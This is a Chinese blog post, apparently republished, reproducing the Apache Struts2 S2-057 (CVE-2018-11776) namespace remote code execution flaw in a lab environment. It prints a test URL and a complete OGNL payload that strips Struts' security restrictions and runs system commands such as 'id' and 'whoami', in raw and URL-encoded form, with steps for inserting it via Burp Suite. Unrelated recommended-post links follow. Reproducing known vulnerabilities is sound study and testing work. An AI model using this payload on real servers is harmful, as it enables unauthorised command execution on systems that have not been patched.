Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去。启动环境后,在Win10上访问http://IP:port/struts2-showcase1.构建Payload:访问:http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action.

大家好,又见面了,我是你们的朋友全栈君。

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

启动环境后,在Win10上访问http://IP:port/struts2-showcase

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

1.构建Payload:

访问:

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到233 * 233的结果已在Location标头中返回。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

将以下payload进行URL编码:

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL编码后

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

并在burpsuit的GET /struts2-showcase/$%7B233*233%7D/actionChain1.action HTTP/1.1中将URL编码的插入到/$%7B233*233%7D/ ,将$%7B233*233%7D去掉。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/158495.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • html5之本地存储localStorage示例

    html5之本地存储localStorage示例

    2021年9月12日
    43
  • Python学习路线(2022修正版)

    Python学习路线(2022修正版)经历长达近一个月的资源筛选过程终于结束,总共1.5T的资源经过:去重、筛选、整理、归档之后一份粗略的Python学习曲线资源已经成型,虽然中间经历了很多坎坷,不过最终还是完成,猪哥也是第一时间与大家分享出来。资料主要分为两部分:一、各个学习网站论坛等,二、百度云资料。网站论坛资源更新快,可以与大家互动;而百度云资源主要为视频,方便大家下载和在线观看,两种资源结合使用,学习和查找知识更方便!一、…

    2022年6月14日
    68
  • 基于spss的聚类分析(Cluster analysis)「建议收藏」

    基于spss的聚类分析(Cluster analysis)「建议收藏」聚类分析是统计学中研究这种“物以类聚”问题的一种有效方法,它属于统计分析的范畴。聚类分析的实质是建立一种分类方法,它能够将一批样本数据按照他们在性质上的亲密程度在没有先验知识的情况下自动进行分类。这里所说的类就是一个具有相似性的个体的集合,不同类之间具有明显的区别。定义:聚类分析是一种探索性的分析,在分类的过程中,人们不必事先给出一个分类的标准,聚类分析能够从样本数据出发,自动进行分类。聚类分析所使用方法的不同,常常会得到不同的结论。不同研究者对于同一组数据进行聚类分析,所得到的聚类数.

    2022年10月17日
    0
  • 激光测距项目整体框图及原理

    激光测距项目整体框图及原理**前言:**因为前面几个星期在忙着准备一个面试,这个星期开始持续更新。。。今天的内容是相位式激光测距项目的一个整体框图及原理介绍,这部分文章链接将会加到之前的大纲中!大纲链接:目录大纲目录:1相位式激光测距原理2FFT与APFFT鉴相法1相位式激光测距原理激光测距相位法的原理这里就简单介绍一下,下面几张图片均来源于网络。这个项目主要是对激光强度进行调制的相位式激光测距(…

    2022年6月2日
    28
  • ping指定IP的指定端口_ping命令端口号多少

    ping指定IP的指定端口_ping命令端口号多少ping是简单的测试网络连接情况的小工具,对于一般用户很实用,但是ping有个缺点就是,不能指定端口tcping命令是针对tcp监控的,也可以看到ping值,即使源地址禁ping也可以通过tcpin

    2022年8月1日
    5
  • Idea激活码最新教程2024.1.3版本,永久有效激活码,亲测可用,记得收藏

    Idea激活码最新教程2024.1.3版本,永久有效激活码,亲测可用,记得收藏Idea 激活码教程永久有效 2024 1 3 激活码教程 Windows 版永久激活 持续更新 Idea 激活码 2024 1 3 成功激活

    2025年5月28日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号